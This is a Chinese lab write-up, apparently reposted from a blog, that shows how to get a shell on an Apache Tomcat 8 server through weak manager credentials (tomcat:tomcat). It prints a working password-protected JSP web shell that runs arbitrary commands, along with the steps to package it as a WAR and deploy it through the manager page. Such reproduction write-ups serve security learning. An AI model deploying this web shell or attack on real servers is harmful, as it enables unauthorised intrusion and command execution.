Tomcat弱口令GetShell

Posted WheelSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat弱口令GetShell相关的知识,希望对你有一定的参考价值。

0x00 漏洞概述

Tomcat 支持后台部署.war 文件——可直接将 WebShell 部署到 web 目录下。访问后台的条件是用户具有相应权限。

war 包是用来进行 Web 开发时一个网站项目下的所有代码,包括前台 html/CSS/JS 代码,以及后台 JavaWeb 的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成 war 包进行发布。war 包可以放在 Tomcat 下的 webapps 或 work 目录,当 Tomcat 服务器启动时,war 包即会随之解压源代码来进行自动部署。

Tomcat 7+的权限有:

  • manager(后台管理)
    • manager-gui 拥有 html 页面权限
    • manager-status 拥有查看 status 的权限
    • manager-script 拥有 text 接口权限(包括 status 权限)
    • manager-jmx 拥有 jmx 权限(包括 status 权限)
  • host-manager(虚拟主机管理)
    • admin-gui 拥有 html 页面权限
    • admin-script 拥有 text 接口权限

这些配置位于conf/tomcat-users.xml中。正常安装情况下,Tomcat 8 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手动修改了这些属性后才可能出现攻击机会。

0x01 靶机配置

仍旧使用镜像。

使用 Docker 自带命令行虽然比较朴素,但能够满足简单查看的需求。

可以看到弱口令用户 tomcat: tomcat,而且具有多项权限。

0x02 利用流程

访问靶机

Apache Tomcat/8.0.43。

Tomcat弱口令GetShell

弱口令登录

由于是实验,事先从 Docker 获取了弱口令账户。实战中就没这么方便,常常还需要权衡是否有爆破的必要。

找个地方登录,比如/manager/status:

Tomcat弱口令GetShell

好看:

Tomcat弱口令GetShell

传大马

做一个含口令的.jsp 大马:

<%
    if("thisispasswd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

将这个.jsp 压缩到.zip 文件中,并将后缀改为.war 即可上传。或者更为标准,使用命令

jar -cvf wdnmd.war wdnmd.jsp
Tomcat弱口令GetShell

点击 List Applications:

Tomcat弱口令GetShell

上传 war 包:

Tomcat弱口令GetShell

部署成功:

Tomcat弱口令GetShell

可以看到返回消息 OK,也新增了目录/wdnmd。

Get Shell

马的位置是/[war 包名]/[.jsp 文件名]。

利用成功!


以上是关于Tomcat弱口令GetShell的主要内容,如果未能解决你的问题,请参考以下文章

[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat后台弱口令Getshell

tomcat8+ 弱口令 && 后台getshell 漏洞复现

Vulhub Tomcat8 弱口令 && 后台getshell(底部有抽奖)

Tomcat8弱口令上传webshell

JBoss 4.x 弱口令未授权访问 + 部署war包getshell